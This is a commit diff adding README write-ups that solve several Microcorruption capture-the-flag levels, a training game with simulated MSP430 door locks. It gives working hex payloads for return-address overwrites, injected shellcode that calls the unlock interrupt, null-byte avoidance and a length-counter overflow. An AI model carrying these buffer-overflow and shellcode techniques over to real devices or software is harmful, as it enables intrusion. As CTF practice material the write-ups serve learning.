Document exercises Cusco till Jakarta

main
Felix Martin 2023-01-21 14:42:35 -05:00
parent 69755b72aa
commit a368fe6c55
1 changed files with 178 additions and 0 deletions

178
README.md
View File

@ -110,4 +110,182 @@ bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb4644
## Reykjavik
This exercise is only tricky because the application decrypts the code into
0x2400 at runtime and then executes from there. The consequence is that no
disassembly view is available.
The easiest way to solve this is to run till the password prompt. Then single
step and the second instruction will look like this:
```
CPU Cycles: 22680
b490 455e dcff
cmp #0x5e45, -0x24(r4)
```
We can then guess that 455e (hex) (0x5e45 in little endian) is the solution:
```
455e
```
If we hadn't gotten that lucky, the next step would be to copy and disassembly
all the code starting at 0x2400. We will probably have to do something like
that in later exercises.
## Whitehorse
For this exercise we combine two techniques. First, we notice that the
vulnerability we first saw in Cusco where we can manipulate the return address
to any value is present. However, because HSM-2 is in use, there is no unlock
door function.
Second, we notice that the password input is stored at 0x36b8.
What that allows us to do is to inject code that unlocks the door, and then
jump to that exact code via the return address manipulation.
We write the code to unlock the door:
```
push #0x7f // INT ID for unlock door
call #0x4532 // jump to INT
```
And [assemble](https://microcorruption.com/assembler) it to:
```
30127f00b0123245
```
Then we add a fill pattern and change the return address to 0x36b8, so that
the injected code gets executed. The result in hex looks like this:
```
code to unlock door / return to injected code
---------------- ----
30127f00b0123245eeeeeeeeeeeeeeeeb836
----------------
fill up /
```
## Montevideo
This one is similar to Whitehorse, except a string copy function copies
the input password to a different location. That is an issue because our
previous code contains 0x00 (null character) which terminates the string.
To work around this, we have to get creative to avoid 0x00 in our code. For
example, the following works:
```
mov #0x1190, r15
sub #0x1111, r15
push r15 // 0x1190 - 0x1111 = 0x7f <=> ID for unlock door
call #0x454c // jump to INT
```
Because it results in the following assembly without 0x00:
```
3f4090113f8011110f12b0124c45
```
As before, we manipulate the return address to execute the injected code, and
get the solution (in hex):
```
code to unlock door / return to injected code
---------------------------- ----
3f4090113f8011110f12b0124c45ccccee43
----
two fill bytes /
```
## Johannesburg
This lock uses HSM-1 and we can directly manipulate the return address
to jump to the unlock door function. However, there is an additional check
that verifies that the 18th (0x11 offset) character of the input is 0x40:
```
4578: f190 4000 1100 cmp.b #0x40, 0x11(sp)
```
Therefore, we have to make sure that this byte of our input is 0x40, and
then change the return address to 0x4446 (unlock door functio entry). The solution is
then (in hex):
```
fill bytes / override stack to return to unlock_door
---------------------------------- ----
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa404644
--
pass check at 0x4578 /
```
## Santa Cruz
This is another exercise where we can manipulate the return address to point to
the unlock function. However, there are two checks that make our life harder.
Firstly, the value at 0x43b3 (0x08 intially) and 0x43b4 (0x10 initially) are used to
validate the minimum and maximum length of the user password.
Secondly, the byte at 0x43c6 must be zero, otherwise the program stops execution before
the return pointer manipulation becomes effection.
With that information, we can set the username to (in hex):
```
/ upper and lower password length bounds
----
ccccccccccccccccccccccccccccccccff01cccccccccccccccccccccccccccccccccccccccccccccccc4a44
----
return address to unlock_door /
```
And the password to:
```
-- byte at 0x43c6 must be zero (via null byte of <getsn>)
2222222222222222222222222222222222
```
## Jakarta
This exercise is yet again vulnerable to a return address override. However,
it also executes a length check which prevents us from making the input long
enough to override the return address.
However, we can make the password long enough to overflow the length counter and therefore
circumvent the length check.
For example, the username could be the following (in hex):
```
6161616161616161616161616161616161616161616161616161616161616161
```
And then we use the following passowrd.
```
/ set return address to unlock_door
----
626262624c44626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
62626262626262626262626262626262626262626262626262626262
-
\ make rest of string long enough to overflow input length counter
```
## Addis Ababa
```
603a256e61256e
```